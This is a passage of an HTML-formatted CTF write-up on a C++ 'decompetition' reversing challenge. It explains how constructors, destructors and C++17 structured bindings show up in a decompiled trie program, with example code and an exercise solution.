&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Do you C the difference?&lt;/p&gt;
&lt;p&gt;Things become complicated when we further consider &lt;a href=&quot;https://www.internalpointers.com/post/understanding-meaning-lvalues-and-rvalues-c&quot;&gt;lvalues and rvalues&lt;/a&gt; (think: variables and temporaries).&lt;/p&gt;
&lt;details&gt;&lt;summary&gt;Complicated Examples&lt;/summary&gt;&lt;div class=&quot;details-content&quot;&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// Passing lvalue string to normal parameter.&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;// Copy constructor is called and a temp object is created.&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;string s&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
	std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;string s&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// &amp;lt;- string constructor called&lt;/span&gt;
	&lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;token comment&quot;&gt;// do stuff&lt;/span&gt;
		&lt;span class=&quot;token comment&quot;&gt;// ---&lt;/span&gt;
		&lt;span class=&quot;token comment&quot;&gt;// &amp;lt;- string copy constructor called (copies s to a temporary)&lt;/span&gt;
		&lt;span class=&quot;token function&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;s&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
		&lt;span class=&quot;token comment&quot;&gt;// &amp;lt;- string destructor (of temporary string) called&lt;/span&gt;
		&lt;span class=&quot;token comment&quot;&gt;// ---&lt;/span&gt;
		&lt;span class=&quot;token comment&quot;&gt;// do more stuff&lt;/span&gt;
	&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;   &lt;span class=&quot;token comment&quot;&gt;// &amp;lt;- string destructor called&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// Passing rvalue string to normal parameter.&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;// Regular constructor is called and a temp object is created.&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;string s&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;token comment&quot;&gt;// do stuff&lt;/span&gt;
		&lt;span class=&quot;token comment&quot;&gt;// ---&lt;/span&gt;
		&lt;span class=&quot;token comment&quot;&gt;// `const char*` literal is implicitly converted to std::string.&lt;/span&gt;
		&lt;span class=&quot;token comment&quot;&gt;// &amp;lt;- string constructor called (creates a temporary)&lt;/span&gt;
		&lt;span class=&quot;token function&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;Hello world!&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
		&lt;span class=&quot;token comment&quot;&gt;// &amp;lt;- string destructor (of temporary string) called&lt;/span&gt;
		&lt;span class=&quot;token comment&quot;&gt;// ---&lt;/span&gt;
		&lt;span class=&quot;token comment&quot;&gt;// do more stuff&lt;/span&gt;
	&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;details-collapse-bottom&quot;&gt;&lt;sub&gt;&lt;a class=&quot;details-collapse-button&quot;&gt;(collapse)&lt;/a&gt;&lt;/sub&gt;&lt;/div&gt;&lt;/div&gt;&lt;/details&gt;
&lt;p&gt;I don&#39;t intend to cover every single possible case. But yes, C++ is &lt;em&gt;extremely&lt;/em&gt; nuanced in this regard. (See also: &lt;a href=&quot;https://cplusplus.com/doc/tutorial/classes/&quot;&gt;classes&lt;/a&gt;, &lt;a href=&quot;https://cplusplus.com/doc/tutorial/classes2/&quot;&gt;special member functions&lt;/a&gt;, &lt;a href=&quot;https://stackoverflow.com/q/3106110/10239789&quot;&gt;move semantics&lt;/a&gt;.)&lt;/p&gt;
&lt;div class=&quot;alert alert-success d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-lightbulb ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;The point is: &lt;strong&gt;object scoping is all reflected at assembly level&lt;/strong&gt;. We can get a good understanding where an object is declared by &lt;em&gt;paying attention to its constructors and destructors&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;This applies to classes, such as STL containers. Primitives (int, char, pointers) don&#39;t have constructors/destructors, so it’s trickier to tell where they&#39;re instantiated. It&#39;s even trickier with heavy optimisations.&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;div class=&quot;alert alert-info d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-circle-info ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;&lt;strong&gt;Exercise&lt;/strong&gt;: Reverse the &lt;code&gt;main&lt;/code&gt; function.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Use the position of constructors and destructors to determine the scope of various strings.&lt;/li&gt;
&lt;li&gt;Beware backslashes in the inserted strings.&lt;/li&gt;
&lt;/ul&gt;
&lt;details&gt;&lt;summary&gt;Possible Solution&lt;/summary&gt;&lt;div class=&quot;details-content&quot;&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; opt&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    string str&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    TrieNode&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; node &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;TrieNode&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

	&lt;span class=&quot;token comment&quot;&gt;// `const char*` literal is implicitly converted to std::string.&lt;/span&gt;
    node&lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;insert&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;&#92;x72&#92;x50&#92;x54&#92;x52&#92;x73&#92;x66&#92;x51&#92;x5a&#92;x79&#92;x72&#92;x75&#92;x4b&#92;x7f&#92;x4e&#92;x4d&#92;x55&#92;x47&#92;x7e&#92;x68&#92;x7e&#92;x72&#92;x51&#92;x42&#92;x71&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;token comment&quot;&gt;// node-&amp;gt;insert(string(&quot;...&quot;)); also works&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;// -- snip --&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;// node-&amp;gt;insert(&quot;...&quot;);&lt;/span&gt;
    
    node&lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt;should_mix &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

    cout &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Enter [1] for insert string&quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; endl&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    cout &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Enter [2] for search string&quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; endl&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

    &lt;span class=&quot;token keyword&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token boolean&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        cout &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Option: &quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        cin &lt;span class=&quot;token operator&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt; opt&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;opt &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
            cout &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Input string to insert: &quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; endl&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
            cin &lt;span class=&quot;token operator&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt; str&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
            node&lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;insert&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;str&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;opt &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
            cout &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Input string to search: &quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; endl&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
            cin &lt;span class=&quot;token operator&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt; str&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
            &lt;span class=&quot;token keyword&quot;&gt;bool&lt;/span&gt; res &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; node&lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;search&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;str&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
            &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;res&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
                cout &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;String &quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; str &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot; exists.&quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; endl&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
            &lt;span class=&quot;token keyword&quot;&gt;else&lt;/span&gt;
                cout &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;String &quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; str &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot; does not exists.&quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; endl&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
            cout &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Bye&quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; endl&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
            &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;details-collapse-bottom&quot;&gt;&lt;sub&gt;&lt;a class=&quot;details-collapse-button&quot;&gt;(collapse)&lt;/a&gt;&lt;/sub&gt;&lt;/div&gt;&lt;/div&gt;&lt;/details&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;From here on, we&#39;ll continue making incremental adjustments to improve our score, while learning various C++ nuances and features.&lt;/p&gt;
&lt;h3 id=&quot;on-structured-bindings&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/hkcert-2023-decompetition-vitamin-cpp/#on-structured-bindings&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; On Structured Bindings&lt;/h3&gt;
&lt;p&gt;Here we take a detour to peek at build.sh. And something sparkly catches our eye:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-sh&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;g++ &lt;span class=&quot;token string&quot;&gt;&quot;&lt;span class=&quot;token variable&quot;&gt;$@&lt;/span&gt;&quot;&lt;/span&gt; -fno-asm &lt;span class=&quot;token parameter variable&quot;&gt;-std&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;c++17 &lt;span class=&quot;token parameter variable&quot;&gt;-g&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-o&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;&lt;span class=&quot;token variable&quot;&gt;$binary&lt;/span&gt;&quot;&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;&lt;span class=&quot;token variable&quot;&gt;$source&lt;/span&gt;&quot;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Shell&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Our code is compiled with C++17—what an oddly specific standard!&lt;/p&gt;
&lt;p&gt;One cool feature introduced by this standard is &lt;strong&gt;structured bindings&lt;/strong&gt;, which is as close as we can get to Python iterable unpacking.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;auto&lt;/span&gt; it &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; next_node&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;begin&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; it &lt;span class=&quot;token operator&quot;&gt;!=&lt;/span&gt; next_node&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;end&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt;it&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;token comment&quot;&gt;// -----&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;auto&lt;/span&gt; pair &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;it&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;char&lt;/span&gt; ch &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;token generic-function&quot;&gt;&lt;span class=&quot;token function&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;token generic class-name&quot;&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;pair&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    TrieNode&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; node &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;token generic-function&quot;&gt;&lt;span class=&quot;token function&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;token generic class-name&quot;&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;pair&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;token comment&quot;&gt;// +++++&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;auto&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;ch&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; node&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;it&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;token comment&quot;&gt;// +++++&lt;/span&gt;
    new_map&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;ch &lt;span class=&quot;token operator&quot;&gt;^&lt;/span&gt; cmix&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; node&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Since &lt;code&gt;it&lt;/code&gt; is an iterator over key-value pairs, we can dereference, then bind (unpack) the pair to &lt;code&gt;ch&lt;/code&gt; and &lt;code&gt;node&lt;/code&gt;.&lt;/p&gt;
&lt;div class=&quot;alert alert-success d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-lightbulb ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;One telltale sign of structured bindings is in the second loop of &lt;code&gt;TrieNode::mix()&lt;/code&gt;. Notice how the first item of the pair (&lt;code&gt;ch2 = std::get&amp;lt;0&amp;gt;(pair);&lt;/code&gt;) is read but never used.&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;The first pair element (a character) is not used.&quot; href=&quot;https://trebledj.me/img/posts/ctf/hkcert23/assets/char-not-used-1506w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-100 &quot; src=&quot;https://trebledj.me/img/posts/ctf/hkcert23/assets/char-not-used-1506w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 1506 / 465&quot; alt=&quot;The first pair element (a character) is not used.&quot; title=&quot;The first pair element (a character) is not used.&quot; srcset=&quot;https://trebledj.me/img/posts/ctf/hkcert23/assets/char-not-used-256w.webp 256w, https://trebledj.me/img/posts/ctf/hkcert23/assets/char-not-used-512w.webp 512w, https://trebledj.me/img/posts/ctf/hkcert23/assets/char-not-used-1024w.webp 1024w, https://trebledj.me/img/posts/ctf/hkcert23/assets/char-not-used-1506w.webp 1506w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, (max-width: 1024px) 1024px, 1506px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;Ghidra decompilation of the second loop of &lt;code&gt;mix()&lt;/code&gt;. Notice how &lt;code&gt;ch2&lt;/code&gt; is never used. (You can also verify this by inspecting the disassembly!)&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;Another giveaway is that &lt;code&gt;std::get&lt;/code&gt; is rarely used to access map pairs, unless in generic code. The idiomatic ways are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;std::pair&lt;/code&gt; members (through iterator): &lt;code&gt;it-&amp;gt;first&lt;/code&gt;, &lt;code&gt;it-&amp;gt;second&lt;/code&gt;&lt;/li&gt;
